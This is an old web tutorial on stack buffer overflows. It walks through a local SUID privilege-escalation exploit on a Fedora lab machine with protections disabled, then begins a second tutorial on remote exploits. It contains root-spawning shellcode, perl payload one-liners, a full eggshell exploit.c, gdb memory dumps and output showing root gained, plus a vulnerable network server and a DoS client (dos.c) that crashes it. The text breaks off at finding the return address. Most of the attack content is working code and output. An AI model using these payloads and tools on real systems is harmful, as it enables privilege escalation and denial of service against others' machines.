Buffer over flow tutorial

THE VULNERABLE AND THE EXPLOIT



Warning:  All the security setting for buffer overflow protection (non-executable stack and randomization of the certain portion of memory addresses) of the test Linux Fedora machine used in this section has been disabled for the educational purpose of the demonstration.  Do not do this on your production machines! OS:  Fedora 3, 2.6.11.x kernel with several updates.

CLICK HERE

With the knowledge that we supposedly have acquired, let test the stack based buffer overflow in the real vulnerable program.



SOME BACKGROUND STORY OF THE SUID



In certain circumstances, unprivileged users must be able to accomplish tasks that require privileges.  An example is the passwd program, which allows normal user to change their password. Changing a user’s password requires modifying the password field in the /usr/bin/passwd file.  However, you should not give a user access to change this file directly because the user could change everybody else’s password as well.  To get around these problems, Linux/Unix allows programs to be endowed with privilege. Processes executing these programs can assume another UID (User Identifier) or GID (Group Identifier) when they’re running.  A program that changes its UID is called a SUID program (set-UID); a program that changes its GID is called a SGID program (set-GID).  A program can be both SUID and SGID at the same time. In Windows it may be similar to RunAs. When a SUID program is run, its effective UID becomes that of the owner of the file, rather than of the user who is running it.


THE POSSIBLE PROBLEM



Any program can be SUID/ SGID, or both SUID and SGID.  Because this feature is so general, SUID/SGID can open up some interesting security problems.  For example, any user can become the superuser simply by running a SUID copy of csh that is owned by root (you must be root to create a SUID version of the csh).  Executable SUID and SGID files or program when run by a normal user may have access to resources not normally available to the user running the program (note the owner vs user of the files).  For example:

    [bodo@lethalcode /]$ls -l /home/bodo/testbed2/test

    -rwsr-xr-x  1 root root 6312 Feb 15 23:11 /home/bodo/testbed2/test

    [bodo@lethalcode /]$ls -l /sbin/netreport

    -rwxr-sr-x  1 root root 10851 Nov  4 13:48 /sbin/netreport

    [bodo@lethalcode /]$

The s in the owner’s and group’s permission field in place of the usual x as in the listing above indicates that executable test program is SUID and netreport is SGID.  If run by a normal user, the executable will run with the privileges of the owner/group of the file, in this case as root.  In this case the program will have access to the same system resources as root (but the limit is defined by what the program can do).  These SGID and SUID programs may be used by a cracker as a normal user to gain root privilege.  You can try listing all of the SUID and SGID files on your system with the following find command:

    [root@lethalcode /]#find / -perm -004000 -o -perm -002000 -type f

This find command starts in the root directory (/) and looks for all files that match mode 002000 (SGID) or mode 004000 (SUID).  The -type f option causes the search to be restricted to files.  For the basic attack you can use the root owned, world writable files and directories.  These files and directories can be listed by using the following find command:

    [root@lethalcode /]#find / -user root -perm  -022

You can set/unset SUID or SGID privileges with the chmod command.  For example:

    chmod 4xxx file_name    or    chmod +s file_name   - SUID

    chmod 2xxx file_name                          - GUID

EXAMPLE #1-EXPLOIT DEMONSTRATION



In our exploit example we are going to overflow the stack using a SUID program.  In this exploit we as normal user are going to spawn a local root shell by overflowing the program owned by root.  The vulnerable program used is shown below.  This is a SUID program.

    /* test.c */

    #include <unistd.h>

    

    int main(int argc, char *argv[])

    {

    char buff[100];

    /*if no argument…*/

    if(argc <2)

    {

       printf("Syntax: %s <input string>\n", argv[0]);

       exit (0);

         }

      strcpy(buff, argv[1]);

      return 0;

    }

The shellcode used to spawn a root shell is as follows:

    \x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89

    \xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80

In our vulnerable program we have declared an array buff[100] of size 100.  We use vulnerable functions, strcpy(), that do not do the bound checking of the input.  We are going to overflow the stack of this program by supplying more than 100 characters until the return address is properly overwritten and pointing back to the stack which we have stored our ‘root spawning’ shellcode.  By simple observation and calculation, the stack frame for this program should be as follows:



Spawning a root shell exploit - a stack layout

Figure 1: Spawning a root shell exploit - a stack layout.



Let run the program with same sample inputs.  Firstly, compile the test.c, change the owner and group to root and suid the program then change back to normal user, so that we as normal user can run the program that owned by root.

    [bodo@lethalcode testbed2]$ gcc -g test.c -o test

    [bodo@lethalcode testbed2]$ ls -l

    total 20

    -rwxrwxr-x  1 bodo bodo 6312 Feb 25 23:18 test

    -rwxr-xr-x  1 root root  219 Feb 15 22:38 test.c

    [bodo@lethalcode testbed2]$ su

    Password: *****

    [root@lethalcode testbed2]# chown 0:0 test

    [root@lethalcode testbed2]# ls -l

    total 20

    -rwxrwxr-x  1 root root 6312 Feb 25 23:18 test

    -rwxr-xr-x  1 root root  219 Feb 15 22:38 test.c

    [root@lethalcode testbed2]# chmod 4755 test

    [root@lethalcode testbed2]# ls -l

    total 20

    -rwsr-xr-x  1 root root 6312 Feb 25 23:18 test

    -rwxr-xr-x  1 root root  219 Feb 15 22:38 test.c

    [root@lethalcode testbed2]# exit

    exit

    [bodo@lethalcode testbed2]$

From the previous stack layout, in order to overwrite the return address we need to supply 108 characters or at least 104 to start the overwriting.  Let verify this fact by running the program with some sample inputs.

    [bodo@lethalcode testbed2]$ ls -l

    total 20

    -rwsr-xr-x  1 root root 6312 Feb 15 23:11 test

    -rwxr-xr-x  1 root root  219 Feb 15 22:38 test.c

    

    [bodo@lethalcode testbed2]$ ls -F -l

    total 20

    -rwsr-xr-x  1 root root 6312 Feb 25 23:18 test*

    -rwxr-xr-x  1 root root  219 Feb 15 22:38 test.c*

    [bodo@lethalcode testbed2]$ ./test `perl -e 'print "A"x100'`

    [bodo@lethalcode testbed2]$ ./test `perl -e 'print "A"x104'`

    [bodo@lethalcode testbed2]$ ./test `perl -e 'print "A"x108'`

    [bodo@lethalcode testbed2]$ ./test `perl -e 'print "A"x116'`

    [bodo@lethalcode testbed2]$ ./test `perl -e 'print "A"x120'`

    [bodo@lethalcode testbed2]$ ./test `perl -e 'print "A"x124'`

    Segmentation fault

    [bodo@lethalcode testbed2]$

Well, we need at least 124 bytes instead of 104.  So what happened here?  Let examine the program using gdb.

    [bodo@lethalcode testbed2]$ gdb -q test

    Using host libthread_db library "/lib/tls/libthread_db.so.1".

    (gdb) disass main

    Dump of assembler code for function main:

    0x080483d0 <main+0>:    push   %ebp

    0x080483d1 <main+1>:    mov    %esp, %ebp

    0x080483d3 <main+3>:    sub    $0x78, %esp

    0x080483d6 <main+6>:    and    $0xfffffff0, %esp

    0x080483d9 <main+9>:    mov    $0x0, %eax

    ...

    [Trimmed]

    ...

    0x08048425 <main+85>:   add    $0x10, %esp

    0x08048428 <main+88>:   mov    $0x0, %eax

    0x0804842d <main+93>:   leave

    0x0804842e <main+94>:   ret

    ---Type <return> to continue, or q <return> to quit---

    End of assembler dump.

    (gdb)

By disassembling the main(), we can see that 120 (0x78) bytes have been reserved instead of 100.  There are some changes here; the stack is aligned by 16 bytes after gcc 2.96.  So when main() function is called, the space for a local variable is padded by 16 bytes.  Newer version of gcc may also behave differently.  It is better for you to use your gdb to verify this.  You also can test this by running the following program.  Change the n to different values and verify the buffer reserved on the stack by using gdb.

    /****testbuf.c******/

    int main(int argc, char *argv[])

    {

        char buffer[n];

        strcpy(buffer, argv[1]);

        return 0;

    }

Back to our program, the stack now should be like this:



Spawning a root shell exploit - stack's content arrangement

Figure 2: Spawning a root shell exploit - stack's content arrangement.

































So, we need at least 124 bytes to start overwriting the saved ebp and 128 bytes to overwrite the return address.  Our stack arrangement should be something like the following:

    NOPs (72 bytes) + Shellcode (32 bytes) + ‘A’ characters (20 bytes) + Return address (4 bytes-pointing back to the NOPs area) = 72 + 32 + 20 + 4 = 128 bytes

Using the perl’s print command for easiness, our input/argument arrangement is as follows. This is a one line command.

    `perl -e 'print "\x90"x72, "\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62

    \x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80", "a"x20, "\xa0\xfb\xff\xbf"'`

In order to make our chances higher in hitting our shellcodes, we pad at the beginning of the stack with NOP (executable no-operation instruction-\x90 for x86).  Though guess work might still be required, the return address must not be as precise anymore; it is enough to hit the NOPs area.  Now our stack layout should be something like the following:



Spawning a root shell exploit - stack's content arrangement with NOPs and shellcodes

Figure 3: Spawning a root shell exploit - stack's content arrangement with NOPs and shellcodes.



Other Intel x86 instructions that can be used to replace NOPs (because NOPs are easily detected by Intrusion Detection System – IDS) can be found at the following links: NOP equivalent instructions or you can check the processor’s instruction set documentation. Next, let verify the return address of our program by running it in gdb with some sample input/argument as constructed previously.

    [bodo@lethalcode testbed2]$ gdb -q test

    Using host libthread_db library "/lib/tls/libthread_db.so.1".

    (gdb) break main

    Breakpoint 1 at 0x80483ec: file test.c, line 7.

    (gdb) r `perl -e 'print "\x90"x72, "\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f

    \x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42x0b\xcd\x80", "a"x20, "\xa0\xfb\xff\xbf"'`

    

    Starting program: /home/bodo/testbed2/test `perl -e 'print "\x90"x72, "\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69

    \x89\xe3\x52\x53\x89\xe1\x8d\x42x0b\xcd\x80", "a"x20, "\xa0\xfb\xff\xbf"'`

    Breakpoint 1, main (argc=2, argv=0xbffffa54) at test.c:7

    7       if(argc <2)

    (gdb) step

    11      strcpy(buff, argv[1]);

    (gdb) x/200x $esp

    0xbffff940:     0x6f6e2800      0x0029656e      0xbffff994      0x00000000

    0xbffff950:     0xbffff994      0x00000000      0x00000000      0x00000000

    0xbffff960:     0x00000000      0x00000000      0x00000000      0x00000000

    0xbffff970:     0x00000000      0x00000000      0x0177ff8e      0xbffffa00

    0xbffff980:     0x0066e4f8      0x00000000      0x00000000      0x00000000

    ...

    [Trimmed]

    ...

    0xbffffa40:     0x08048484      0x006643d0      0xbffffa4c      0x0066af11

    0xbffffa50:     0x00000002      0xbffffb5a      0xbffffb73      0x00000000

    0xbffffa60:     0xbffffbf6      0xbffffc08      0xbffffc18      0xbffffc23

    0xbffffa70:     0xbffffc31      0xbffffc5b      0xbffffc6e      0xbffffc78

    0xbffffa80:     0xbffffe3b      0xbffffe47      0xbffffe52      0xbffffea4

    0xbffffa90:     0xbffffebe      0xbffffeca      0xbffffee2      0xbffffef7

    0xbffffaa0:     0xbfffff08      0xbfffff11      0xbfffff44      0xbfffff54

    0xbffffab0:     0xbfffff5c      0xbfffff69      0xbfffffac      0xbfffffce

    0xbffffac0:     0x00000000      0x00000010      0x0383f3ff      0x00000006

    0xbffffad0:     0x00001000      0x00000011      0x00000064      0x00000003

    ...

    [Trimmed]

    ...

    0xbffffb30:     0x00000000      0x0000000f      0xbffffb4b      0x00000000

    0xbffffb40:     0x00000000      0x00000000      0x69000000      0x00363836

    ---Type <return> to continue, or q <return> to quit---

    0xbffffb50:     0x00000000      0x00000000      0x682f0000      0x2f656d6f

    0xbffffb60:     0x6f646f62      0x7365742f      0x64656274      0x65742f32

    0xbffffb70:     0x90007473      0x90909090      0x90909090      0x90909090

    0xbffffb80:     0x90909090      0x90909090      0x90909090      0x90909090

    0xbffffb90:     0x90909090      0x90909090      0x90909090      0x90909090

    0xbffffba0:     0x90909090      0x90909090      0x90909090      0x90909090

    0xbffffbb0:     0x90909090      0x90909090      0x31909090      0xb0c389c0

    0xbffffbc0:     0x3180cd17      0x6e6852d2      0x6868732f      0x69622f2f

    0xbffffbd0:     0x5352e389      0x428de189      0xcd623078      0x61616180

    0xbffffbe0:     0x61616161      0x61616161      0x61616161      0x61616161

    0xbffffbf0:     0xfffba061      0x4f4800bf      0x414e5453      0x623d454d

    0xbffffc00:     0x77616b61      0x00696c61      0x4c454853      0x622f3d4c

    0xbffffc10:     0x622f6e69      0x00687361      0x4d524554      0x6574783d

    0xbffffc20:     0x48006d72      0x53545349      0x3d455a49      0x30303031

    0xbffffc30:     0x48535300      0x494c435f      0x3d544e45      0x66663a3a

    0xbffffc40:     0x313a6666      0x312e3136      0x312e3234      0x312e3435

    0xbffffc50:     0x31203130      0x20383430      0x53003232      0x545f4853

    (gdb) x/x $ebp

    0xbffff9c8:     0xbffffa28

    (gdb) x/x $ebp+4

    0xbffff9cc:     0x00689e33

    (gdb) x/x $ebp-4

    0xbffff9c4:     0x0066dc80

    (gdb) x/x $esp

    0xbffff940:     0x6f6e2800

    (gdb) q

    The program is running.  Exit anyway? (y or n) y



The important part of the memory location has been highlighted with color.  Next, get an address of the NOPs area.  If the chosen address of the NOPs fails, try another adjacent address.  The most important thing here the chosen return address must be pointing the NOPs area.  Let try the following address.

    0xbffffba0

Rearrange in hexadecimal representation.

    \xbf\xff\xfb\xa0

Little endian the return address.

    \xa0\xfb\xff\xbf

Then, based on our previous arrangement,

    NOPs (72 bytes) + Shellcode (32 bytes) + ‘A’ characters (20 bytes) + Return address (4 bytes-pointing back to the NOP area) = 72 + 32 + 20 + 4 = 128 bytes

Replace the return address of the return address part in the original argument. Take note that this is a one line command.

    `perl -e 'print "\x90"x72, "\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68

    \x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80", "a"x20, "\xa0\xfb\xff\xbf"'`

Re-run the program with this new argument.

    [bodo@lethalcode testbed2]$ whoami

    bodo

    [bodo@lethalcode testbed2]$ ./test `perl -e 'print "\x90"x72, "\x31\xc0\x89\xc3\xb0\x17\xcd\x80

    \x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80", "a"x20, "\xa0\xfb\xff\xbf"'`

    sh-3.00# whoami

    root

    sh-3.00# id

    uid=0(root) gid=502(bodo) groups=502(bodo) context=user_u:system_r:unconfined_t

    sh-3.00# su -

    [root@lethalcode ~]# whoami

    root

    [root@lethalcode ~]# id

    uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=root:system_r:unconfined_t

    [root@lethalcode ~]#

Well, we got root in the first try!  And the rest is history :o)…We passed the input strings to our program through the argv[1] (as the command line first argument).  Then in the program, the strcpy() copied the input into the stack’s buffer without verifying the size, overwriting the return address nicely with an address that pointing back to the stack area.  When the program finished, instead of returning back to system/OS, it return to the stack area, start executing the NOPs and proceeded to our shellcode that spawned a root shell.  Our final stack layout that has been over flown should be looked something like the following:



Spawning a root shell exploit - mission accomplished

Figure 4: Spawning a root shell exploit - mission accomplished.


   



EXAMPLE #2 – USING THE EGGSHELL



What is eggshell?



Using the classic method as shown in the previous example quite lousy isn’t it?  In most cases, buffer can be too small to hold the exploit code.  Let try another example using what is called an eggshell.  Here, we create an eggshell on the heap that is a self-contained exploit code, and then we pass this eggshell to the environment variable, as our command line vulnerable program’s argument.  Next we run the vulnerable program with argument read from the environment variable.  Using this approach the exploit code can be arbitrary longer and may be the method of choice for local exploits because you need an access to environment variable.  An example of the eggshell program is shown below.

    /* exploit.c */

    #include <unistd.h>

    #include <stdlib.h>

    

    /* default offset is 0 */

    #define DEFOFFSET 0

    /* default buffer size is 512, by knowing that our vulnerable */

    /* program’s buffer is 512 bytes */

    #define DEFBUFFSIZE 512

    /* No-operation instruction */

    #define NOP 0x90

    

    /* our shellcode that spawn a root shell */

    char hellcode[ ] = "\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68"

                    "\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";

    

    /* getting the esp, so that we can determine the return address */

    unsigned long getesp(void)

    {__asm__("movl %esp, %eax");}

    

    int main(int argc, char *argv[])

    {

    /* declare and initialize some of the variables */

    char *buff, *ptr;

    long *addr_ptr, retaddr;

    int i, offset=DEFOFFSET, buffsize=DEFBUFFSIZE;

    

    /* If 1st argument supplied, it is the buffer size, else use default */

    if(argc>1)

    buffsize = atoi(argv[1]);

    /* If 2nd argument is supplied, it is the offset, else use default */

    if(argc>2)

    offset = atoi(argv[2]);

    

    /* using the heap buffer, for our string construction */

    if(!(buff = malloc(buffsize)))

    {printf("Memory allocation for buffer failed lor!\n");

    exit (0);

    }

    

    /* get the return address */

    retaddr = getesp() - offset;

    

    /* just to display some data */

    printf("Using the address: %0X\n", retaddr);

    printf("The offset is: %0X\n", offset);

    printf("The buffer size is: %0x\n", buffsize);

    

    ptr = buff;

    addr_ptr = (long *)ptr;

    

    /* copy the return address into the buffer, by word size */

    for (i=0; i< buffsize; i+=4)

    *(addr_ptr++) = retaddr;

    

    /* copy half of the buffer with NOP, by byte size */

    for (i=0; i < buffsize/2; i++)

    buff[i] = NOP;

    

    /* copy the shellcode after the NOPs, by byte */

    ptr = buff + ((buffsize/2) - (strlen(hellcode)/2));

    for (i=0; i < strlen(hellcode); i++)

    *(ptr++) = hellcode[i];

    

    /* Terminate the string’s buffer with NULL */

    buff[buffsize-1] = '\0';

    /* Now that we've got the string built */

    

    /* Copy the "EGG=" string into the buffer, so that we have "EGG=our_string" */

    memcpy(buff, "EGG=", 4);

    /* Put the buffer, "EGG=our_string", in the environment variable,

     as an input for our vulnerable program*/

    putenv(buff);

    /* run the root shell, after the overflow */

    system("/bin/bash");

    return 0;

    }

Compile and run the program.  You can use the following program to verify the string in the environment variable, or use set or env commands.

    /* testenv.c */

    #include <unistd.h>

    

    int main()

    {

       char *descr = getenv("EGG");

    

       if (descr)

         printf("Value of EGG is: %s\n", descr);

       else

         printf("The environment variable not defined lor!\n");

      return 0;

    }

Our vulnerable program is shown below.  This is SUID program.  We declare xbuff[512], so we need 512 and more to overflow the buffer in the stack.

    /* vul.c */

    #include <unistd.h>

    

    int main(int argc, char *argv[])

    {

    char xbuff[512];

    

    if(argc >1)

    strcpy(xbuff, argv[1]);

    return 0;

    }

Or as previously done you can verify that by running the program in gdb as shown below:

    [bodo@lethalcode testbed3]$ gdb -q vul

    Using host libthread_db library "/lib/tls/libthread_db.so.1".

    (gdb) disass main

    Dump of assembler code for function main:

    0x08048368 <main+0>:    push   %ebp

    0x08048369 <main+1>:    mov    %esp, %ebp

    0x0804836b <main+3>:    sub    $0x208, %esp

    0x08048371 <main+9>:    and    $0xfffffff0, %esp

    0x08048374 <main+12>:   mov    $0x0, %eax

    0x08048379 <main+17>:   add    $0xf, %eax

    0x0804837c <main+20>:   add    $0xf, %eax

    ...

    [Trimmed]

    ...

    0x08048396 <main+46>:   pushl (%eax)

    0x08048398 <main+48>:   lea    0xfffffdf8(%ebp), %eax

    0x0804839e <main+54>:   push   %eax

    0x0804839f <main+55>:   call   0x80482b0 <_init+56>

    0x080483a4 <main+60>:   add    $0x10, %esp

    0x080483a7 <main+63>:   mov    $0x0, %eax

    0x080483ac <main+68>:   leave

    0x080483ad <main+69>:   ret

    End of assembler dump.

    (gdb) q

    [bodo@lethalcode testbed3]$





























So there are 520 (0x208) bytes reserved for the stack’s buffer.  We need 528 and more to overwrite the return address.  Follow these steps (using the default offset):



    Compile the exploit.c program with buffer size as an argument.

    Optionally, verify the environment string of the EGG.

    Then, compile the vul.c program and SUID it.

    Run the vul program with $EGG as an argument.

    If fails, repeat from step 1, by adding another 100 bytes to the argument (the buffer size).

    [bodo@lethalcode testbed3]$ ls -F -l

    total 60

    -rwxrwxr-x    1 bodo  bodo  7735    Feb 17 22:32 exploit*

    -rw-rw-r--    1 bodo  bodo  1107    Feb 17 22:32 exploit.c

    -rwxrwxr-x    1 bodo  bodo  6147    Feb 27 18:19 testenv*

    -rw-rw-r--    1 bodo  bodo  206     Feb 27 18:18 testenv.c

    -rwsr-xr-x    1 root  root  5989    Feb 17 22:24 vul*

    -rw-rw-r--    1 bodo  bodo  121     Feb 17 21:16 vul.c

    [bodo@lethalcode testbed3]$ whoami

    bodo

    [bodo@lethalcode testbed3]$ id

    uid=502(bodo) gid=502(bodo) groups=502(bodo) context=user_u:system_r:unconfined_t

Let try using 612 (512 + 100) for the string’s buffer size.

    [bodo@lethalcode testbed3]$ ./exploit 612

    Using the address: BFFFFA28

    The offset is: 0

    The buffer size is: 264

    [bodo@lethalcode testbed3]$ ./testenv

    Value of EGG is: 1ÀðÍ1ÒRhn/shh//biãRSá Íÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿

    (úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿

    (úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ¿(úÿ

    [bodo@lethalcode testbed3]$ ./vul $EGG

    Segmentation fault

    [bodo@lethalcode testbed3]$

First try failed.  So, add another 100 bytes for the buffer size.  Repeat the previous steps.

    [bodo@lethalcode testbed3]$ ./exploit 712

    Using the address: BFFFF7D8

    The offset is: 0

    The buffer size is: 2c8

    [bodo@lethalcode testbed3]$ ./vul $EGG

    sh-3.00# whoami

    root

    sh-3.00# id

    uid=0(root) gid=502(bodo) groups=502(bodo) context=user_u:system_r:unconfined_t

    sh-3.00# su -

    [root@lethalcode ~]# id

    uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=root:system_r:unconfined_t

Well, we got root in our second try and our exploit code can be longer. Yihaaaaaaaaaaaaaaaaaaaaaa!!!!

 
CLICK HERE

Read more »

How to write remote exploits ( V. 1.1)

I hope you’ll enjoy it, ok what are we going to do? We want to exploit a vulnerable server program (vulnerable.c). We want to get a remote shell. In case you are looking for an exercise, read the vulnerable.c program, compile it and try to exploit it. If you don’t have any clue about remote exploits…… well then read further and let us first take a look at the vulnerable program… later we want to look at the functions of the vulnerable program, then how we can abuse an overflow within the program, then we want to define the general structure of the exploit code, and at last we want to write an exploit…



-------------------------------------------- vulnerable.c ----------------------------------------------


#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>


#define BUFFER_SIZE 1024
#define NAME_SIZE 2048

int handling(int c)

{
char buffer[BUFFER_SIZE], name[NAME_SIZE];
int bytes;
strcpy(buffer, "My name is: ");
bytes = send(c, buffer, strlen(buffer), 0);
if (bytes == -1)
return -1;
bytes = recv(c, name, sizeof(name), 0);
if (bytes == -1)
return -1;
name[bytes - 1] = ’\0’;
sprintf(buffer, "Hello %s, nice to meet you!\r\n", name);
bytes = send(c, buffer, strlen(buffer), 0);
if (bytes == -1)
return -1;
return 0;

}

int main(int argc, char *argv[])

{
int s, c, cli_size;
struct sockaddr_in srv, cli;
if (argc != 2)
{
fprintf(stderr, "usage: %s port\n", argv[0]);
return 1;
}
s = socket(AF_INET, SOCK_STREAM, 0);
if (s == -1)
{
perror("socket() failed");
return 2;
}
srv.sin_addr.s_addr = INADDR_ANY;
srv.sin_port = htons( (unsigned short int) atol(argv[1]));
srv.sin_family = AF_INET;
if (bind(s, &srv, sizeof(srv)) == -1)
{
perror("bind() failed");
return 3;
}
if (listen(s, 3) == -1)
{
perror("listen() failed");
return 4;
}
for(;;)
{
c = accept(s, &cli, &cli_size);
if (c == -1)
{
perror("accept() failed");
return 5;
}
printf("client from %s", inet_ntoa(cli.sin_addr));
if (handling(c) == -1)
fprintf(stderr, "%s: handling() failed", argv[0]);
close(c);
}
return 0;

}

---------------------------------------------- EOF------------------------------------------------------

Here’s how you must compile and use the program.

user@linux:~/ > gcc vulnerable.c -o vulnerable

user@linux:~/ > ./vulnerable 8080

./vulnerable 8080 this means, that you run the service on port 8080, look at the port you wanna take, you mustn’t use a privileged port (1 – 1024) assuming you are not root.

Now we’ve compiled the program and we know how to run it.. with the parameter

program <port>

Now we want check some addresses of the program, and take a look on how it is built. We start the vulnerable program with gdb, to look at some things…





now do the following:

user@linux~/ > gdb vulnerable

GNU gdb 4.18

Copyright 1998 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details.

This GDB was configured as "i386-suse-linux"...

(gdb) run 8080

Starting program: /home/user/directory/vulnerable 8080

Now the program is listening for an incoming connection on port 8080.

Next connect with telnet or netcat on port 8080.

user@linux:~/ > telnet localhost 8080

Trying ::1...

telnet: connect to address ::1: Connection refused

Trying 127.0.0.1...

Connected to localhost.

Escape character is '^]'.

My name is: Robin

, nice to meet you!

Connection closed by foreign host.

user@linux:~/ >

Now the easy server program doesn’t make anything else then getting a name and writing it back on your screen…. Ok let’s go further…

While you made this, the gdb (debugger) wrote the following on the screen:

client from 127.0.0.1 0xbffff28c

/*Don’t be confused if the address is different on your computer, on my box it is 0xbffff28c */

Ok the server is still running because of the for-loop, so it’s always repeating until you kill the server program.

3. Overflowing the server program

Let's test something....

Now we reconnect to the service on port 8080 and put more than 1024 bytes of characters on the command line "My name is:..."

It should look like this... (I'll take A's *g*)...

user@linux:~/ > telnet localhost 8080

Trying ::1...

telnet: connect to address ::1: Connection refused

Trying 127.0.0.1...

Connected to localhost.

Escape character is '^]'.

My name is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Now the telnet client should be disconnected... but why? Let's look at the output of gdb:

Program received signal SIGSEGV, Segmentation fault.

0x41414141 in ?? ()

(gdb)

// Don’t close gdb !!

What happened? As we can see, the eip is set to 0x41414141, probably you are asking why?

OK, I’ll try to explain it. 0x41 stands for an ‘A’... as we put over 1024 bytes in, the program has tried to copy the string name[2048] into

buffer[1024].... so because the string in name[2048] was greater than 1024 bytes, the name buffer has overwritten the buffer

and also overwritten the saved eip (extended instruction pointer, here is the returnaddress stored).. so our buffer

looks like this:

[xxxxxxxx-name-2048-bytes-xxxxxxxxxx]

[xxxxx buffer-only-1024-bytes xxx] [EIP]

Ok our stack should look like this. We’ve tried to put more than 1024 byte into buffer, and then we’ve overwritten the eip *g*.

// don't forget .. eip has a size of 4 bytes !



After you overwrote the whole returnaddress, the function wanted to return to the main function, it jumped to the

wrong address (0x41414141) .... and so there was a segmentation fault.

Now here's a DoS tool for this program:

------------------------------------- dos.c ------------------------------------------------------------

#include <stdio.h>

#include <netinet/in.h>

#include <sys/socket.h>

#include <sys/types.h>

#include <netdb.h>

int main(int argc, char **argv)

{

struct sockaddr_in addr;

struct hostent *host;

char buffer[2048];

int s, i;

if(argc != 3)

{

fprintf(stderr, "usage: %s <host> <port>\n", argv[0]);

exit(0);

}

s = socket(AF_INET, SOCK_STREAM, 0);

if(s == -1)

{

perror("socket() failed\n");

exit(0);

}

host = gethostbyname(argv[1]);

if( host == NULL)

{

herror("gethostbyname() failed");

exit(0);

}

addr.sin_addr = *(struct in_addr*)host->h_addr;

addr.sin_family = AF_INET;

addr.sin_port = htons(atol(argv[2]));



if(connect(s, &addr, sizeof(addr)) == -1)

{

perror("couldn't connect so server\n");

exit(0);

}

/* Not difficult only filling buffer with A’s.... den sending nothing more */

for(i = 0; i < 2048 ; i++)

buffer[i] = 'A';

printf("buffer is: %s\n", buffer);

printf("buffer filled... now sending buffer\n");

send(s, buffer, strlen(buffer), 0);

printf("buffer sent.\n");

close(s);

return 0;

}

--------------------------------------------- EOF ------------------------------------------------------











4. Finding the return address



I only want to show you how the structure is of an remote exploit looks like, so let's find out what we are going to do:

